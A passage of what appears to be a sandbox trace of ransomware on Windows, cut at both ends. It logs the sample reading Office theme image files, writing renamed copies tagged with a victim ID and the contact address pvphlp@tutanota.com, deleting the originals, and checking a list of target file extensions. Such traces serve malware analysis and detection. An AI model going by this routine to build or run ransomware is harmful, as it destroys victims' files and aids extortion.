lpNumberOfBytesWritten=0x2b7fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0078.674] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.674] WriteFile (in: hFile=0x1b0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.674] SetEndOfFile (hFile=0x1b0) returned 1 [0078.674] CloseHandle (hObject=0x1b0) returned 1 [0078.674] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.674] SetEndOfFile (hFile=0x20c) returned 1 [0078.675] CloseHandle (hObject=0x20c) returned 1 [0078.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.676] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0078.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.676] lstrlenW (lpString=".doc") returned 4 [0078.676] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.676] lstrlenW (lpString=".docx") returned 5 [0078.676] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.676] lstrlenW (lpString=".pdf") returned 4 [0078.676] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.676] lstrlenW (lpString=".xls") returned 4 [0078.676] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.676] lstrlenW (lpString=".xlsx") returned 5 [0078.676] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.676] lstrlenW (lpString=".ppt") returned 4 [0078.676] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.676] lstrlenW (lpString=".zip") returned 4 [0078.676] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.676] lstrlenW (lpString=".rar") returned 4 [0078.676] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.676] lstrlenW (lpString=".bz2") returned 4 [0078.676] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.676] lstrlenW (lpString=".7z") returned 3 [0078.677] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.677] lstrlenW (lpString=".dbf") returned 4 [0078.677] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.677] lstrlenW (lpString=".1cd") returned 4 [0078.677] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.677] lstrlenW (lpString=".jpg") returned 4 [0078.677] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.677] lstrlenW (lpString=".doc") returned 4 [0078.677] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.677] lstrlenW (lpString=".docx") returned 5 [0078.677] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.677] lstrlenW (lpString=".pdf") returned 4 [0078.677] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.677] lstrlenW (lpString=".xls") returned 4 [0078.677] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.677] lstrlenW (lpString=".xlsx") returned 5 [0078.677] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.677] lstrlenW (lpString=".ppt") returned 4 [0078.677] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.677] lstrlenW (lpString=".zip") returned 4 [0078.677] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.677] lstrlenW (lpString=".rar") returned 4 [0078.677] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.677] lstrlenW (lpString=".bz2") returned 4 [0078.677] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.677] lstrlenW (lpString=".7z") returned 3 [0078.677] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.678] lstrlenW (lpString=".dbf") returned 4 [0078.678] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.678] lstrlenW (lpString=".1cd") returned 4 [0078.678] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0078.678] lstrlenW (lpString=".jpg") returned 4 [0078.678] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.678] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.678] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0078.832] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=37440) returned 1 [0078.832] CloseHandle (hObject=0x200) returned 1 [0078.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0078.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0078.832] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.832] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.833] GetLastError () returned 0x0 [0078.833] ReadFile (in: hFile=0x200, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x9240, lpOverlapped=0x0) returned 1 [0078.882] WriteFile (in: hFile=0x1bc, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0078.884] ReadFile (in: hFile=0x200, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.884] WriteFile (in: hFile=0x1bc, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.884] SetEndOfFile (hFile=0x1bc) returned 1 [0078.884] CloseHandle (hObject=0x1bc) returned 1 [0078.884] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.884] SetEndOfFile (hFile=0x200) returned 1 [0078.885] CloseHandle (hObject=0x200) returned 1 [0078.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.886] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0078.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.886] lstrlenW (lpString=".doc") returned 4 [0078.886] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.886] lstrlenW (lpString=".docx") returned 5 [0078.886] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.886] lstrlenW (lpString=".pdf") returned 4 [0078.887] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.887] lstrlenW (lpString=".xls") returned 4 [0078.887] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.887] lstrlenW (lpString=".xlsx") returned 5 [0078.887] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.887] lstrlenW (lpString=".ppt") returned 4 [0078.887] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.887] lstrlenW (lpString=".zip") returned 4 [0078.887] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.887] lstrlenW (lpString=".rar") returned 4 [0078.887] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.887] lstrlenW (lpString=".bz2") returned 4 [0078.887] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.887] lstrlenW (lpString=".7z") returned 3 [0078.887] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.887] lstrlenW (lpString=".dbf") returned 4 [0078.887] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.887] lstrlenW (lpString=".1cd") returned 4 [0078.887] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.887] lstrlenW (lpString=".jpg") returned 4 [0078.887] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.887] lstrlenW (lpString=".doc") returned 4 [0078.887] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.887] lstrlenW (lpString=".docx") returned 5 [0078.887] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.887] lstrlenW (lpString=".pdf") returned 4 [0078.887] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.888] lstrlenW (lpString=".xls") returned 4 [0078.888] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.888] lstrlenW (lpString=".xlsx") returned 5 [0078.888] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.888] lstrlenW (lpString=".ppt") returned 4 [0078.888] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.888] lstrlenW (lpString=".zip") returned 4 [0078.888] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.888] lstrlenW (lpString=".rar") returned 4 [0078.888] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.888] lstrlenW (lpString=".bz2") returned 4 [0078.888] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.888] lstrlenW (lpString=".7z") returned 3 [0078.888] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.888] lstrlenW (lpString=".dbf") returned 4 [0078.888] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.888] lstrlenW (lpString=".1cd") returned 4 [0078.888] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0078.888] lstrlenW (lpString=".jpg") returned 4 [0078.888] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.888] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.888] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.929] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=19563) returned 1 [0078.929] CloseHandle (hObject=0x20c) returned 1 [0078.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0078.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.931] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.931] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0078.990] GetLastError () returned 0x0 [0078.990] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0079.024] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0079.025] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.025] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.025] SetEndOfFile (hFile=0x18c) returned 1 [0079.026] CloseHandle (hObject=0x18c) returned 1 [0079.026] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.026] SetEndOfFile (hFile=0x20c) returned 1 [0079.027] CloseHandle (hObject=0x20c) returned 1 [0079.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0079.027] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0079.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.028] lstrlenW (lpString=".doc") returned 4 [0079.028] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.028] lstrlenW (lpString=".docx") returned 5 [0079.028] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.028] lstrlenW (lpString=".pdf") returned 4 [0079.028] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.028] lstrlenW (lpString=".xls") returned 4 [0079.028] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.028] lstrlenW (lpString=".xlsx") returned 5 [0079.028] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.028] lstrlenW (lpString=".ppt") returned 4 [0079.028] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.028] lstrlenW (lpString=".zip") returned 4 [0079.028] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.028] lstrlenW (lpString=".rar") returned 4 [0079.028] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.028] lstrlenW (lpString=".bz2") returned 4 [0079.028] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.028] lstrlenW (lpString=".7z") returned 3 [0079.028] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.028] lstrlenW (lpString=".dbf") returned 4 [0079.028] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.028] lstrlenW (lpString=".1cd") returned 4 [0079.028] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.028] lstrlenW (lpString=".jpg") returned 4 [0079.029] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.029] lstrlenW (lpString=".doc") returned 4 [0079.029] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.029] lstrlenW (lpString=".docx") returned 5 [0079.029] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.029] lstrlenW (lpString=".pdf") returned 4 [0079.029] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.029] lstrlenW (lpString=".xls") returned 4 [0079.029] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.029] lstrlenW (lpString=".xlsx") returned 5 [0079.029] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.029] lstrlenW (lpString=".ppt") returned 4 [0079.029] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.029] lstrlenW (lpString=".zip") returned 4 [0079.029] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.029] lstrlenW (lpString=".rar") returned 4 [0079.029] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.029] lstrlenW (lpString=".bz2") returned 4 [0079.029] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.029] lstrlenW (lpString=".7z") returned 3 [0079.029] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.029] lstrlenW (lpString=".dbf") returned 4 [0079.029] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.029] lstrlenW (lpString=".1cd") returned 4 [0079.029] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0079.029] lstrlenW (lpString=".jpg") returned 4 [0079.029] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.030] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0079.030] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0079.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.030] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=3970) returned 1 [0079.030] CloseHandle (hObject=0x20c) returned 1 [0079.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0079.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.030] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.030] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0079.285] GetLastError () returned 0x0 [0079.285] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, 